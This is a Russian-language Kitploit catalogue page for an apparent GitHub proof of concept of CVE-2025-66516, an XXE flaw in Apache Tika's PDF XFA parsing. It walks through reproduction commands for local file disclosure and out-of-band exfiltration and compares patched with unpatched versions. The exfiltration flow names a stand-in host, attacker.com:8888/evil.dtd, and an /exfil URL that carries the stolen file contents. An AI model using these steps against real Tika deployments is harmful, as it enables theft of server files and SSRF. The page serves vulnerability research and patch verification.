Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-66516-POC — POC-эксплойт для уязвимости CVE-2025-66516 в Apache Tika только в образовательных целях | Kitploit
Инструменты/GitHubGitHub/sid6224/cve-2025-66516-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

POC-эксплойт для уязвимости CVE-2025-66516 в Apache Tika только в образовательных целях

Репозиторий
618 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

⚠️ ОЗНАКОМЬТЕСЬ С ОТКАЗОМ ОТ ОТВЕТСТВЕННОСТИ ПЕРЕД ИСПОЛЬЗОВАНИЕМ ⚠️

Только для образовательных целей и авторизованного тестирования | Лицензия | Политика безопасности


CVE Tika Severity XXE License Platform Java


О данном POC

Этот репозиторий содержит эксплойт типа «proof-of-concept» (POC) для CVE-2025-66516 — уязвимости внедрения внешних XML-сущностей (XXE) в Apache Tika версий до 3.2.2. Уязвимость затрагивает парсер XFA (XML Forms Architecture) в компоненте tika-parser-pdf-module, позволяя злоумышленникам читать локальные файлы и похищать конфиденциальные данные через специально созданные PDF-документы.

Что такое CVE-2025-66516?

CVE-2025-66516 — это критическая уязвимость безопасности в функции разбора PDF в Apache Tika. При обработке PDF-файлов со встроенными XFA-формами версии Tika до 3.2.2 не ограничивают должным образом обработку внешних сущностей в XML-парсерах. Это позволяет злоумышленникам:

  • Читать произвольные файлы из файловой системы сервера (раскрытие локальных файлов)
  • Похищать конфиденциальные данные на внешние серверы (внеполосный XXE, OOB XXE)
  • Выполнять SSRF-атаки, инициируя запросы к ресурсам внутренней сети
  • Обходить средства защиты в приложениях, которые полагаются на Tika для обработки документов

Сведения об уязвимости

  • CVE ID: CVE-2025-66516
  • Затронутый компонент: Apache Tika tika-parser-pdf-module
  • Затронутые версии: Apache Tika < 3.2.2
  • Исправленная версия: Apache Tika 3.2.2 и более поздние
  • Вектор атаки: специально созданный PDF с XFA-формами, содержащими XXE-нагрузки
  • Воздействие: нарушение конфиденциальности, хищение данных, подделка серверных запросов (SSRF)
  • Серьёзность по CVSS: высокая (High)
  • Связанный CVE: CVE-2025-32370 (аналогичная XXE-уязвимость в Tika)

Содержимое репозитория

Этот репозиторий включает:

  • gen_poc.py — скрипт Python для генерации вредоносных PDF-файлов для XXE-атак с чтением локальных файлов
  • gen_oob_poc.py — скрипт Python для генерации PDF-файлов для внеполосного хищения данных
  • http_listener.py — HTTP-сервер для демонстрации внеполосного XXE-хищения данных
  • DocumentProcessor.java — пример Java-приложения, показывающий уязвимую интеграцию Tika
  • Полное пошаговое руководство по воспроизведению с ожидаемыми результатами
  • Технический анализ уязвимой и исправленной версий
  • Документация по ходу атаки, объясняющая механизм эксплуатации

Ключевые слова

Apache Tika XXE, CVE-2025-66516 exploit, Tika security vulnerability, XML External Entity attack, PDF XXE injection, Tika 3.2.1 vulnerability, out-of-band XXE, OOB XXE, security research, penetration testing, POC exploit, vulnerability disclosure, XFA parser vulnerability, tika-parser-pdf-module, file disclosure vulnerability, data exfiltration, SSRF attack, secure coding, vulnerability analysis, security testing, ethical hacking, infosec, cybersecurity research, Apache Tika exploit code, XXE payload, PDF security, document parser vulnerability


Тестируемая среда

Примечание: Данный POC протестирован и подтверждён на:

  • Версии Apache Tika: 3.2.1 (уязвимая) и 3.2.2 (исправленная)
  • Операционная система: Linux — Ubuntu 24.04.3 LTS
  • Версия Java: OpenJDK 17.0.17

Создание каталога POC

Сначала создайте отдельный каталог для POC, чтобы все файлы были организованы.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

Проверка окружения

Прежде чем приступить к POC, убедитесь, что в вашем окружении есть необходимые зависимости. Эти команды покажут версии компилятора/среды выполнения Java и сведения об ОС, что важно для воспроизведения уязвимости.

root@kitploit:~
# Check Java version
java -version
javac -version

# Check OS version
lsb_release -a

Ожидаемый результат: Вы должны увидеть информацию о версии Java (например, OpenJDK 17.x.x) и сведения о версии Ubuntu (24.04.3 LTS).

Загрузка JAR-файлов Apache Tika

Загрузите как уязвимую (3.2.1), так и исправленную (3.2.2) версии Apache Tika. Обе версии нужны, чтобы продемонстрировать, что XXE-уязвимость существует в 3.2.1 и устранена в 3.2.2. JAR-файл tika-app — это исполняемый файл «всё в одном», включающий все парсеры Tika и зависимости.

root@kitploit:~
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Download patched Tika version  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

Ожидаемый результат: Будут загружены два JAR-файла — tika-app-3.2.1.jar (около 75 МБ) и tika-app-3.2.2.jar (около 75 МБ).

Проверка версий компонентов

Проверьте точные версии, изучив манифестные файлы JAR. Это подтверждает, что у нас есть корректные уязвимая и исправленная версии перед тестированием.

root@kitploit:~
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

Ожидаемый результат: Файлы манифеста, показывающие Implementation-Version: 3.2.1 и 3.2.2 соответственно, а также временные метки сборки и другие метаданные.

Список свойств POM компонентов

Если посмотреть на Project Object Models (свойства POM Maven определяют зависимости проекта, конфигурацию сборки и метаданные), мы видим, что нет отдельного модуля tika-parsers, как упоминалось в бюллетенях безопасности — это может быть связано с версиями, и предполагается, что в версиях 3.2.1 и 3.2.2, используемых в POC, модуль tika-parsers был заменён отдельными модулями парсеров.

root@kitploit:~
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

Ожидаемый результат: Список всех модулей компонентов Tika, включая tika-core, tika-parser-pdf-module, tika-xmp и т. д. Вы заметите отдельные модули парсеров вместо единого модуля tika-parsers.

Проверка версий компонентов Tika

Извлеките и отобразите информацию о версиях основных компонентов Tika. Это помогает понять внутреннюю структуру модулей и подтвердить, что и базовая библиотека, и модуль PDF-парсера имеют ожидаемые версии.

root@kitploit:~
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

Ожидаемый результат: Свойства POM с version=3.2.1 или version=3.2.2 для каждого компонента, разделённые ---. Все три компонента (tika-core, tika-parser-pdf-module, tika-app) должны соответствовать общей версии.

Создание целевого файла для XXE-эксплуатации

Создайте поддельный файл секретов, который станет целью нашей XXE-атаки. Этот файл имитирует конфиденциальные данные (например, ключи API или учётные данные), которые злоумышленник может попытаться похитить через XXE-уязвимость.

root@kitploit:~
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

Ожидаемый результат: Файл с именем fake-secrets.txt, содержащий строку INTERNAL_SERVER_KEY=EXPOSED. Его прочитает XXE-эксплойт.

Анализ кода: сравнение уязвимой и исправленной версий

Чтобы понять исправление, нам нужно декомпилировать и сравнить класс XMLReaderUtils из обеих версий. Этот класс отвечает за создание XML-парсеров, и уязвимость связана с тем, как он настраивает обработку XML-сущностей.

root@kitploit:~
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

Ожидаемый результат: Извлечение создаёт два каталога с декомпилированными файлами классов. Команда javap формирует дизассемблированный байткод класса XMLReaderUtils. Команда diff покажет различия в настройке XML-парсера между версиями.

Определение исправления

При внимательном сравнении мы обнаружим, что в версии 3.2.2 отключена поддержка любых определений типа документа (DTD) и внешних сущностей — это и есть суть исправления:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

Ожидаемый результат: Вы увидите вывод diff, показывающий, что версия 3.2.2 добавляет вызовы для отключения обработки DTD и разрешения внешних сущностей. Ищите строки, устанавливающие accessExternalDTD в пустую строку и supportDTD в false.

POC №1: XXE с чтением локального файла

Здесь демонстрируется классическая XXE-атака, при которой вредоносный PDF читает локальный файл из файловой системы сервера. Скрипт Python генерирует PDF со встроенной XFA-формой, содержащей XML с XXE-нагрузкой, которая ссылается на file:///fake-secrets.txt.

root@kitploit:~
# Generate malicious PDF
python3 ./gen_poc.py

# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

Ожидаемый результат:

  • gen_poc.py создаёт cve_2025_66516_poc.pdf, содержащий XXE-нагрузку
  • Уязвимая версия (3.2.1): вывод Tika будет содержать INTERNAL_SERVER_KEY=EXPOSED — содержимое секретного файла!
  • Исправленная версия (3.2.2): вывод Tika НЕ будет содержать секретные данные; XXE-атака заблокирована

POC №2: Внеполосный XXE

Здесь демонстрируется более сложная XXE-атака с внеполосным (OOB) хищением данных. Вместо отображения содержимого файла в ответе вредоносный PDF заставляет Tika отправлять данные на внешний сервер, контролируемый злоумышленником. Этот метод работает даже тогда, когда приложение не возвращает разобранное содержимое.

root@kitploit:~
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py

# Start HTTP listener (in separate terminal)
python3 ./http_listener.py

# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# Test OOB XXE with patched Tika 3.2.2  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

Ожидаемый результат:

  • gen_oob_poc.py создаёт cve-2025-66516_OOB_XXE.pdf с внеполосной XXE-нагрузкой
  • http_listener.py запускает сервер на порту 8888 и ожидает входящие запросы
  • Уязвимая версия (3.2.1): HTTP-прослушиватель получит два запроса:
    1. GET-запрос к /evil.dtd (загрузка внешнего DTD)
    2. GET-запрос к /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (хищение данных)
  • Исправленная версия (3.2.2): HTTP-запросы не поступают; обработка внешних сущностей заблокирована

Тестирование на уровне приложения

Здесь уязвимость проверяется в более реалистичном сценарии, где Tika используется как библиотека внутри Java-приложения (а не только как инструмент командной строки). Код DocumentProcessor.java имитирует типичную интеграцию Tika для разбора документов.

root@kitploit:~
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

Ожидаемый результат:

  • Уязвимая версия (3.2.1): программа выведет:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • Исправленная версия (3.2.2): программа выведет:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text WITHOUT secret data]
    ✓ No XXE vulnerability detected.
    

Очистка

Удалите временные каталоги и файлы, созданные на этапе анализа, чтобы поддерживать порядок в рабочем каталоге.

root@kitploit:~
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

Ожидаемый результат: Каталоги и декомпилированные текстовые файлы будут удалены. Вывод не отображается, если не возникнет ошибка.


Понимание хода атаки

Последовательность XXE-атаки на локальную файловую систему

  1. PDF содержит XFA-поток с объявлением DOCTYPE и ENTITY
  2. Tika обнаруживает XFA → вызывает XFAExtractor
  3. XFAExtractor создаёт XML-парсер через XMLReaderUtils
  4. Парсер обрабатывает DOCTYPE, регистрирует сущность xxe
  5. Парсер встречает ссылку &xxe;
  6. Парсер разрешает сущность → читает file:///fake-secrets.txt
  7. Содержимое файла вставляется в XML в месте расположения &xxe;
  8. XFAExtractor извлекает значение поля = содержимое файла
  9. Приложение получает секретные данные в выводе Tika

Последовательность внеполосной (OOB) XXE-атаки

  1. PDF содержит XFA с DOCTYPE, объявляющим параметрические сущности (%file, %dtd)
  2. Tika обнаруживает XFA → вызывает XFAExtractor
  3. XFAExtractor создаёт XML-парсер через XMLReaderUtils
  4. Парсер обрабатывает DOCTYPE, регистрирует сущность %file → указывает на file:///fake-secrets.txt
  5. Парсер встречает ссылку %dtd; → указывает на http://attacker.com:8888/evil.dtd
  6. Парсер отправляет HTTP GET-запрос на сервер злоумышленника для загрузки evil.dtd
  7. HTTP-сервер злоумышленника получает запрос и отдаёт содержимое evil.dtd
  8. Парсер обрабатывает evil.dtd: определяет сущность %payload, содержащую определение &send
  9. evil.dtd разворачивает %payload → создаёт сущность &send с URL для хищения данных
  10. Сущность &send содержит: http://attacker.com:8888/exfil?data=%file;
  11. Парсер разворачивает %file; внутри URL &send → вставляется содержимое файла
  12. Парсер разрешает сущность &send; → отправляет HTTP GET на конечную точку хищения
  13. HTTP-сервер злоумышленника получает запрос /exfil с содержимым файла в параметре URL
  14. Злоумышленник извлекает данные из параметра URL и записывает содержимое секретного файла в журнал
  15. Вывод приложения не имеет значения → данные уже похищены на сервер злоумышленника

Ссылки

Официальные бюллетени безопасности

  • Страница безопасности Apache Tika: https://tika.apache.org/security.html
  • NVD — CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • База данных CVE MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika на GitHub: https://github.com/apache/tika

Связанные уязвимости

  • CVE-2025-54988 — предыдущий идентификатор CVE, который заменяет CVE-2025-66516 (та же уязвимость, перенумерована)
  • CVE-2025-32370 — аналогичная XXE-уязвимость в Apache Tika
  • Руководство OWASP по XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

Технические ресурсы

  • Документация Apache Tika: https://tika.apache.org/
  • Методы XXE-атак: https://portswigger.net/web-security/xxe
  • Спецификация PDF XFA: спецификация Adobe XML Forms Architecture (XFA)
  • Анализ Upwind Security: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (ссылка на код приложения)

Ответственное раскрытие

Если вы обнаружили уязвимости безопасности, пожалуйста, сообщите о них ответственно:

  • Команда безопасности Apache: [email protected]
  • Команда Apache Tika: https://tika.apache.org/mail-lists.html

Теги

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration


Лицензия

Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.

Только для образовательного использования — Этот POC предназначен исключительно для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, незаконно.


Вклад в проект

Приветствуется вклад в улучшение этого POC или документации! Пожалуйста, убедитесь, что ваш вклад:

  • Следует практике ответственного раскрытия
  • Содержит соответствующие отказы от ответственности
  • Не включает вредоносный код, выходящий за рамки образовательной демонстрации
  • Сохраняет направленность на образовательную ценность

Благодарности

  • Команде безопасности Apache Tika за работу по исправлению этой уязвимости
  • Сообществу исследователей безопасности за практику ответственного раскрытия уязвимостей
  • Авторам этого репозитория

Последнее обновление: декабрь 2025 г.

Скачать инструмент
ssrf
oob-xxe
file-disclosure
secure-coding
vulnerability-analysis
security-testing
exploit-development
red-team
blue-team
appsec
document-parsing
java-security